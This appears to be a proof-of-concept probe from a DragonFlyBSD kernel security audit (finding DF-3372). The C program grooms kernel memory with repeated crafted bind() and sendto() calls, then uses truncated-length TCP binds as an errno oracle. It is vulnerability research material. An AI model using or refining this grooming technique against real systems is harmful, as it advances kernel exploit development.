⬢ DragonFlyBSD Kernel Audit
DF-3372 / probe.c
← back to finding ↓ download raw
/* DF-3372 probe: which groom vector flips the EAFNOSUPPORT oracle? */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>

static int udp4;

static void
groom_bind(int n, unsigned char a, unsigned char b, unsigned char c, unsigned char d)
{
	unsigned char g[16];
	int i;

	memset(g, 0, sizeof(g));
	g[0] = 16; g[1] = AF_INET;
	g[4] = a; g[5] = b; g[6] = c; g[7] = d;
	for (i = 0; i < n; i++)
		bind(udp4, (struct sockaddr *)g, 16);
}

static void
groom_sendto(int n, unsigned char a, unsigned char b, unsigned char c, unsigned char d)
{
	unsigned char g[16];
	int i;

	memset(g, 0, sizeof(g));
	g[0] = 16; g[1] = AF_INET;
	g[2] = 0x11; g[3] = 0x22;		/* port 0x1122 */
	g[4] = a; g[5] = b; g[6] = c; g[7] = d;
	for (i = 0; i < n; i++)
		sendto(udp4, "", 0, 0, (struct sockaddr *)g, 16);
}

static int
tcpb(int len)
{
	unsigned char sa[16];
	int s, r;

	memset(sa, 0, sizeof(sa));
	sa[0] = len;
	sa[1] = AF_INET;
	s = socket(AF_INET, SOCK_STREAM, 0);
	r = bind(s, (struct sockaddr *)sa, len);
	close(s);
	return (r == 0) ? 0 : errno;
}

int
main(void)
{
	int i, r;

	udp4 = socket(AF_INET, SOCK_DGRAM, 0);
	/* give udp a local addr so sendto grooms behave similarly */
	{
		struct sockaddr_in la;
		memset(&la, 0, sizeof(la));
		la.sin_len = sizeof(la);
		la.sin_family = AF_INET;
		la.sin_port = htons(0);
		la.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
		bind(udp4, (struct sockaddr *)&la, sizeof(la));
	}

	for (i = 0; i < 10; i++) {
		groom_bind(64, 224, 1, 2, 3);
		r = tcpb(2);
		printf("bind-groom  x64 224 -> tcpb(2)  errno=%d\n", r);

		groom_bind(64, 8, 8, 8, 8);
		r = tcpb(2);
		printf("bind-groom  x64 8.8 -> tcpb(2)  errno=%d\n", r);

		groom_sendto(64, 224, 1, 2, 3);
		r = tcpb(2);
		printf("sendto-grm  x64 224 -> tcpb(2)  errno=%d\n", r);

		groom_sendto(64, 8, 8, 8, 8);
		r = tcpb(2);
		printf("sendto-grm  x64 8.8 -> tcpb(2)  errno=%d\n", r);

		groom_bind(64, 224, 1, 2, 3);
		r = tcpb(4);
		printf("bind-groom  x64 224 -> tcpb(4)  errno=%d\n", r);

		groom_bind(64, 8, 8, 8, 8);
		r = tcpb(4);
		printf("bind-groom  x64 8.8 -> tcpb(4)  errno=%d\n", r);
		printf("--\n");
	}
	return (0);
}